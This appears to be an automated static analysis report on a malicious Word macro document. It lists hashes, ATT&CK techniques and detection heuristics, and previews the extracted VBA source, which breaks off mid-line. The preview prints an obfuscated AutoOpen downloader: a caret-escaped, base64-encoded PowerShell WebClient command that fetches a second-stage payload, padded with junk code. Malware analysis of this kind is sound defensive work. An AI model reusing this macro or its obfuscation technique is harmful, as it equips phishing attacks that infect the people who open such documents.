Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf4d4b7b0bbbde0b…

MALICIOUS

Office (OLE)

160.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: cff208dc00e78b7e2a65147ed244a014 SHA-1: 47726ec687fb7618552296ee6387d8e0f4656810 SHA-256: cf4d4b7b0bbbde0b487c5421b1872af93b99b6408e91a09d75582cb2ce19fbbf
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, a common technique for executing malicious code upon document opening. The macro constructs and executes a command that appears to download and run a second-stage payload. The ClamAV detection further supports the malicious nature of this file.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56857 bytes
SHA-256: 9a3100c19395c6e171d673619fb07791740100abde6deda05375356208f3483c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const QyLOJeikoqoDUqxAMUierulYMAKAVejAWisoijDadafE = 0
Sub AutoOpen()
On Error Resume Next
JulUfyQNeKiYaXapmIjUSOtOcEViO = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^s^A^G^k^A^b^g^B^k^A^G^8^A^b"

Dim tAlilihyJuGUKsYvdyjyXYNoKaiA(4)

If 13 = 13 + (3 * 0) Then
tAlilihyJuGUKsYvdyjyXYNoKaiA(0) = CLng(2317)
End If
tAlilihyJuGUKsYvdyjyXYNoKaiA(1) = Sqr(3)
tAlilihyJuGUKsYvdyjyXYNoKaiA(2) = Month(23172317)
tAlilihyJuGUKsYvdyjyXYNoKaiA(3) = Fix(2317.3)
Dim ECEiAwuhOTIxUgeqIcuaORihUdPUrAJud(4)

If 10 = 10 + (2 * 0) Then
ECEiAwuhOTIxUgeqIcuaORihUdPUrAJud(0) = CLng(1563)
End If
ECEiAwuhOTIxUgeqIcuaORihUdPUrAJud(1) = Sqr(2)
ECEiAwuhOTIxUgeqIcuaORihUdPUrAJud(2) = Month(15631563)
ECEiAwuhOTIxUgeqIcuaORihUdPUrAJud(3) = Fix(1563.2)
Dim seBIpEtaRiSYkYSUGaiUZocEqYsHUiE(4)
Dim sUpAQONEklupIqkUJeqAzYpYSoJtP(4)

If 11 = 11 + (8 * 0) Then
sUpAQONEklupIqkUJeqAzYpYSoJtP(0) = CLng(2893)
End If
sUpAQONEklupIqkUJeqAzYpYSoJtP(1) = Sqr(8)
sUpAQONEklupIqkUJeqAzYpYSoJtP(2) = Month(28932893)
sUpAQONEklupIqkUJeqAzYpYSoJtP(3) = Fix(2893.8)

Dim iAHYjiNIJifyhusJaMinavEVotYRYjenEao(4)

If 11 = 11 + (1 * 0) Then
iAHYjiNIJifyhusJaMinavEVotYRYjenEao(0) = CLng(6164)
End If
iAHYjiNIJifyhusJaMinavEVotYRYjenEao(1) = Sqr(1)
iAHYjiNIJifyhusJaMinavEVotYRYjenEao(2) = Month(61646164)
iAHYjiNIJifyhusJaMinavEVotYRYjenEao(3) = Fix(6164.1)
If 11 = 11 + (3 * 0) Then
seBIpEtaRiSYkYSUGaiUZocEqYsHUiE(0) = CLng(1204)
Dim geJebuPosifEhoWelAGaMohUGiKcIp(4)

If 10 = 10 + (8 * 0) Then
geJebuPosifEhoWelAGaMohUGiKcIp(0) = CLng(9691)
End If
geJebuPosifEhoWelAGaMohUGiKcIp(1) = Sqr(8)
geJebuPosifEhoWelAGaMohUGiKcIp(2) = Month(96919691)
geJebuPosifEhoWelAGaMohUGiKcIp(3) = Fix(9691.8)
End If
seBIpEtaRiSYkYSUGaiUZocEqYsHUiE(1) = Sqr(3)
seBIpEtaRiSYkYSUGaiUZocEqYsHUiE(2) = Month(12041204)
Dim TENudTAZiwapEliNiduaylYqovaDU(4)

If 10 = 10 + (4 * 0) Then
TENudTAZiwapEliNiduaylYqovaDU(0) = CLng(8235)
End If
TENudTAZiwapEliNiduaylYqovaDU(1) = Sqr(4)
TENudTAZiwapEliNiduaylYqovaDU(2) = Month(82358235)
TENudTAZiwapEliNiduaylYqovaDU(3) = Fix(8235.4)
Dim midUtAhIdIwUPOweqZUvepAtEwA(4)

If 10 = 10 + (7 * 0) Then
midUtAhIdIwUPOweqZUvepAtEwA(0) = CLng(9971)
End If
midUtAhIdIwUPOweqZUvepAtEwA(1) = Sqr(7)
midUtAhIdIwUPOweqZUvepAtEwA(2) = Month(99719971)
midUtAhIdIwUPOweqZUvepAtEwA(3) = Fix(9971.7)
seBIpEtaRiSYkYSUGaiUZocEqYsHUiE(3) = Fix(1204.3)
Dim waSeiOZYvyRojaBcohjAGuaAhhiZIz(4)
Dim POahynolYNucahMukeSizTEXulyOLERySidYjiToSAxa(4)

If 10 = 10 + (5 * 0) Then
POahynolYNucahMukeSizTEXulyOLERySidYjiToSAxa(0) = CLng(7990)
End If
POahynolYNucahMukeSizTEXulyOLERySidYjiToSAxa(1) = Sqr(5)
POahynolYNucahMukeSizTEXulyOLERySidYjiToSAxa(2) = Month(79907990)
POahynolYNucahMukeSizTEXulyOLERySidYjiToSAxa(3) = Fix(7990.5)
Dim JuBUzOiOmoYTuzomAkTUtijiPlON(4)

If 10 = 10 + (6 * 0) Then
JuBUzOiOmoYTuzomAkTUtijiPlON(0) = CLng(3248)
End If
JuBUzOiOmoYTuzomAkTUtijiPlON(1) = Sqr(6)
JuBUzOiOmoYTuzomAkTUtijiPlON(2) = Month(32483248)
JuBUzOiOmoYTuzomAkTUtijiPlON(3) = Fix(3248.6)

Dim JySmYSUQilylEBuaMOsLItGYJuPApA(4)

If 13 = 13 + (2 * 0) Then
JySmYSUQilylEBuaMOsLItGYJuPApA(0) = CLng(7822)
End If
JySmYSUQilylEBuaMOsLItGYJuPApA(1) = Sqr(2)
JySmYSUQilylEBuaMOsLItGYJuPApA(2) = Month(78227822)
JyS
... (truncated)